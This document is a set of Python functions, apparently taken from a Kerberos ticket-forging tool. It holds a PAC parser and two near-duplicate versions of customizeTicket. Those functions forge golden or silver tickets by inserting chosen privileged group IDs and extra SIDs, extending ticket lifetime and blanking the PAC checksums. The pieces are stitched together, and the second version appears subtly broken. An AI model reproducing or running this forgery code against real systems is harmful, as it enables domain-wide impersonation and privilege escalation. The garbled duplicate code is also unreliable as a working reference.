def parse_ticket(decrypted_ticket): ''' Parses the authorization data of a decrypted Kerberos ticket. Parameters: decrypted_ticket (byte) Decrypted Kerberos ticket Returns: parsed_ticket (string) Parsed and formatted Kerberos ticket ''' decoded_ticket = decoder.decode(decrypted_ticket)[0] pac_data = decoded_ticket['field-9'][0]['field-1'] dec_auth_data = decoder.decode(pac_data)[0][0]['field-1'] pac_buffers = PACTYPE(dec_auth_data.__bytes__()) pac_buffer = pac_buffers['Buffers'] pac_buffer_hex = hexlify(pac_buffer) pac_info_list = process_pac_info_buffer(pac_buffer_hex) auth_data_type = pac_info_list[0] auth_data_length = pac_info_list[1] auth_data_offset = pac_info_list[2] auth_data_end = (auth_data_length * 2) - 40 offset_start = 24 + auth_data_offset * 2 auth_data_hex = pac_buffer_hex[offset_start:offset_start + auth_data_end] sys.stdout = output = StringIO() print("\nPAC Info Buffer:") print(" ulType: " + str(auth_data_type)) print(" cbBufferSize: " + str(auth_data_length) + " bytes") print(" Offset: " + str(auth_data_offset) + " bytes") final_validation_info = VALIDATION_INFO() final_validation_info.fromStringReferents(unhexlify(auth_data_hex)) final_validation_info.dump() sys.stdout = sys.__stdout__ output = output.getvalue() indent = '' parsed_ticket = [] for line in output.splitlines(): if line == 'VALIDATION_INFO ': indent = ' ' parsed_ticket.append('\nAuthorization Data:') continue line = indent + line parsed_ticket.append(line) parsed_ticket = '\n'.join(parsed_ticket) return parsed_ticket
def customizeTicket(self, kdcRep, pacInfos): logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target)) encTicketPart = EncTicketPart() flags = list() flags.append(TicketFlags.forwardable.value) flags.append(TicketFlags.proxiable.value) flags.append(TicketFlags.renewable.value) if self.__domain == self.__server: flags.append(TicketFlags.initial.value) flags.append(TicketFlags.pre_authent.value) encTicketPart['flags'] = encodeFlags(flags) encTicketPart['key'] = noValue encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] if encTicketPart['key'][ 'keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join( [random.choice(string.ascii_letters) for _ in range(16)]) elif encTicketPart['key'][ 'keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join( [random.choice(string.ascii_letters) for _ in range(32)]) else: encTicketPart['key']['keyvalue'] = ''.join( [random.choice(string.ascii_letters) for _ in range(16)]) encTicketPart['crealm'] = self.__domain.upper() encTicketPart['cname'] = noValue encTicketPart['cname'][ 'name-type'] = PrincipalNameType.NT_PRINCIPAL.value encTicketPart['cname']['name-string'] = noValue encTicketPart['cname']['name-string'][0] = self.__target encTicketPart['transited'] = noValue encTicketPart['transited']['tr-type'] = 0 encTicketPart['transited']['contents'] = '' encTicketPart['authtime'] = KerberosTime.to_asn1( datetime.datetime.utcnow()) encTicketPart['starttime'] = KerberosTime.to_asn1( datetime.datetime.utcnow()) # Let's extend the ticket's validity a lil bit ticketDuration = datetime.datetime.utcnow() + datetime.timedelta( days=int(self.__options.duration)) encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['authorization-data'] = noValue encTicketPart['authorization-data'][0] = noValue encTicketPart['authorization-data'][0][ 'ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value encTicketPart['authorization-data'][0]['ad-data'] = noValue # Let's locate the KERB_VALIDATION_INFO and Checksums if PAC_LOGON_INFO in pacInfos: data = pacInfos[PAC_LOGON_INFO] validationInfo = VALIDATION_INFO() validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) lenVal = len(validationInfo.getData()) validationInfo.fromStringReferents(data[lenVal:], lenVal) aTime = timegm( strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ')) unixTime = self.getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 # Let's adjust username and other data validationInfo['Data']['LogonDomainName'] = self.__domain.upper() validationInfo['Data']['EffectiveName'] = self.__target # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') validationInfo['Data']['GroupIds'] = list() validationInfo['Data']['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = int(group) groupMembership['RelativeId'] = groupId groupMembership[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED validationInfo['Data']['GroupIds'].append(groupMembership) # Let's add the extraSid if self.__options.extra_sid is not None: extrasids = self.__options.extra_sid.split(',') if validationInfo['Data']['SidCount'] == 0: # Let's be sure user's flag specify we have extra sids. validationInfo['Data']['UserFlags'] |= 0x20 validationInfo['Data'][ 'ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() for extrasid in extrasids: validationInfo['Data']['SidCount'] += 1 sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extrasid) sidRecord['Sid'] = sid sidRecord[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED # And, let's append the magicSid validationInfo['Data']['ExtraSids'].append(sidRecord) else: validationInfo['Data']['ExtraSids'] = NULL validationInfoBlob = validationInfo.getData( ) + validationInfo.getDataReferents() pacInfos[PAC_LOGON_INFO] = validationInfoBlob if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO after making it gold') validationInfo.dump() print('\n') else: raise Exception('PAC_LOGON_INFO not found! Aborting') logging.info('\tPAC_LOGON_INFO') # Let's now clear the checksums if PAC_SERVER_CHECKSUM in pacInfos: serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) if serverChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: serverChecksum['Signature'] = '\x00' * 12 elif serverChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: serverChecksum['Signature'] = '\x00' * 12 else: serverChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() else: raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') if PAC_PRIVSVR_CHECKSUM in pacInfos: privSvrChecksum = PAC_SIGNATURE_DATA( pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksum['Signature'] = '\x00' * 12 if privSvrChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: privSvrChecksum['Signature'] = '\x00' * 12 elif privSvrChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: privSvrChecksum['Signature'] = '\x00' * 12 else: privSvrChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() else: raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') if PAC_CLIENT_INFO_TYPE in pacInfos: pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) pacClientInfo['ClientId'] = unixTime pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() else: raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') logging.info('\tPAC_CLIENT_INFO_TYPE') logging.info('\tEncTicketPart') if self.__domain == self.__server: encRepPart = EncASRepPart() else: encRepPart = EncTGSRepPart() encRepPart['key'] = noValue encRepPart['key']['keytype'] = encTicketPart['key']['keytype'] encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue'] encRepPart['last-req'] = noValue encRepPart['last-req'][0] = noValue encRepPart['last-req'][0]['lr-type'] = 0 encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1( datetime.datetime.utcnow()) encRepPart['nonce'] = 123456789 encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) encRepPart['flags'] = encodeFlags(flags) encRepPart['authtime'] = str(encTicketPart['authtime']) encRepPart['endtime'] = str(encTicketPart['endtime']) encRepPart['starttime'] = str(encTicketPart['starttime']) encRepPart['renew-till'] = str(encTicketPart['renew-till']) encRepPart['srealm'] = self.__domain.upper() encRepPart['sname'] = noValue encRepPart['sname']['name-string'] = noValue encRepPart['sname']['name-string'][0] = self.__service if self.__domain == self.__server: encRepPart['sname'][ 'name-type'] = PrincipalNameType.NT_SRV_INST.value encRepPart['sname']['name-string'][1] = self.__domain.upper() logging.info('\tEncAsRepPart') else: encRepPart['sname'][ 'name-type'] = PrincipalNameType.NT_PRINCIPAL.value encRepPart['sname']['name-string'][1] = self.__server logging.info('\tEncTGSRepPart') return encRepPart, encTicketPart, pacInfos
def customizeTicket(self, kdcRep, pacInfos): logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target)) encTicketPart = EncTicketPart() flags = list() flags.append(TicketFlags.forwardable.value) flags.append(TicketFlags.proxiable.value) flags.append(TicketFlags.renewable.value) flags.append(TicketFlags.initial.value) flags.append(TicketFlags.pre_authent.value) encTicketPart['flags'] = encodeFlags(flags) encTicketPart['key'] = None encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)]) elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(32)]) else: encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)]) encTicketPart['crealm'] = self.__domain.upper() encTicketPart['cname'] = None encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value encTicketPart['cname']['name-string'] = None encTicketPart['cname']['name-string'][0] = self.__target encTicketPart['transited'] = None encTicketPart['transited']['tr-type'] = 0 encTicketPart['transited']['contents'] = '' encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) # Let's extend the ticket's validity a lil bit ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration)) encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['authorization-data'] = None encTicketPart['authorization-data'][0] = None encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value encTicketPart['authorization-data'][0]['ad-data'] = None # Let's locate the KERB_VALIDATION_INFO and Checksums if pacInfos.has_key(PAC_LOGON_INFO): data = pacInfos[PAC_LOGON_INFO] validationInfo = VALIDATION_INFO() validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) lenVal = len(validationInfo.getData()) validationInfo.fromStringReferents(data[lenVal:], lenVal) aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ')) unixTime = self.getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 # Let's adjust username and other data validationInfo['Data']['LogonDomainName'] = self.__domain.upper() validationInfo['Data']['EffectiveName'] = self.__target # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') validationInfo['Data']['GroupIds'] = list() validationInfo['Data']['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = int(group) groupMembership['RelativeId'] = groupId groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED validationInfo['Data']['GroupIds'].append(groupMembership) # Let's add the extraSid if self.__options.extra_sid is not None: if validationInfo['Data']['SidCount'] == 0: # Let's be sure user's flag specify we have extra sids. validationInfo['Data']['UserFlags'] |= 0x20 validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() validationInfo['Data']['SidCount'] += 1 sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(self.__options.extra_sid) sidRecord['Sid'] = sid sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED # And, let's append the magicSid validationInfo['Data']['ExtraSids'].append(sidRecord) else: validationInfo['Data']['ExtraSids'] = NULL validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() pacInfos[PAC_LOGON_INFO] = validationInfoBlob if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO after making it gold') validationInfo.dump() print ('\n') else: raise Exception('PAC_LOGON_INFO not found! Aborting') logging.info('\tPAC_LOGON_INFO') # Let's now clear the checksums if pacInfos.has_key(PAC_SERVER_CHECKSUM): serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: serverChecksum['Signature'] = '\x00' * 12 elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: serverChecksum['Signature'] = '\x00' * 12 else: serverChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() else: raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') if pacInfos.has_key(PAC_PRIVSVR_CHECKSUM): privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksum['Signature'] = '\x00' * 12 if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: privSvrChecksum['Signature'] = '\x00' * 12 elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: privSvrChecksum['Signature'] = '\x00' * 12 else: privSvrChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() else: raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') if pacInfos.has_key(PAC_CLIENT_INFO_TYPE): pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) pacClientInfo['ClientId'] = unixTime pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() else: raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') logging.info('\tPAC_CLIENT_INFO_TYPE') logging.info('\tEncTicketPart') encASRepPart = EncASRepPart() encASRepPart['key'] = None encASRepPart['key']['keytype'] = encTicketPart['key']['keytype'] encASRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue'] encASRepPart['last-req'] = None encASRepPart['last-req'][0] = None encASRepPart['last-req'][0]['lr-type'] = 0 encASRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) encASRepPart['nonce'] = 123456789 encASRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) encASRepPart['flags'] = encodeFlags(flags) encASRepPart['authtime'] = encTicketPart['authtime'] encASRepPart['endtime'] = encTicketPart['endtime'] encASRepPart['starttime'] = encTicketPart['starttime'] encASRepPart['renew-till'] = encTicketPart['renew-till'] encASRepPart['srealm'] = self.__domain.upper() encASRepPart['sname'] = None encASRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value encASRepPart['sname']['name-string'] = None encASRepPart['sname']['name-string'][0] = 'krbtgt' encASRepPart['sname']['name-string'][1] = self.__domain.upper() logging.info('\tEncAsRepPart') return encASRepPart, encTicketPart, pacInfos